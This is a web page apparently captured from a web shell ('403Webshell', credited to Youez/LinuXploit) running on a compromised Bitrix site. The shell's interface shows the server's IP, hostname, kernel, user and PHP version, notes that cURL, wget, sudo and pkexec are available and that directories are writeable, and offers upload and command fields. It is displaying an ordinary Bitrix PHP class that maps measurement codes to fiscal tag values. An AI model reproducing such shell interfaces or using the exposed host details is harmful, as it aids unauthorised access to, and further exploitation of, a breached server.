403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/sale/lib/cashbox/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/sale/lib/cashbox/measurecodetotag2108mapper.php
<?php

namespace Bitrix\Sale\Cashbox;

/**
 * Class MeasureCodeToTag2108Mapper
 *
 * @package Bitrix\Sale\Cashbox
 *
 * @see http://www.consultant.ru/document/cons_doc_LAW_362322/0060b1f1924347c03afbc57a8d4af63888f81c6c/
 * @see https://classifikators.ru/okei
 *
 */
class MeasureCodeToTag2108Mapper
{
	/**
	 * @var array
	 */
	protected static array $map = [
		'796' => 0,
		'163' => 10,
		'166' => 11,
		'168' => 12,
		'4' => 20,
		'5' => 21,
		'6' => 22,
		'51' => 30,
		'53' => 31,
		'55' => 32,
		'111' => 40,
		'112' => 41,
		'113' => 42,
		'245' => 50,
		'233' => 51,
		'359' => 70,
		'356' => 71,
		'355' => 72,
		'354' => 73,
		'256' => 80,
		'257' => 81,
		'2553' => 82,
		'2554' => 83,
	];

	protected const UNKNOWN_TYPE = 255;

	/**
	 * @param string|null $measureCode
	 * @return int|string
	 */
	public static function getTag2108Value(?string $measureCode)
	{
		return static::$map[$measureCode] ?? static::UNKNOWN_TYPE;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit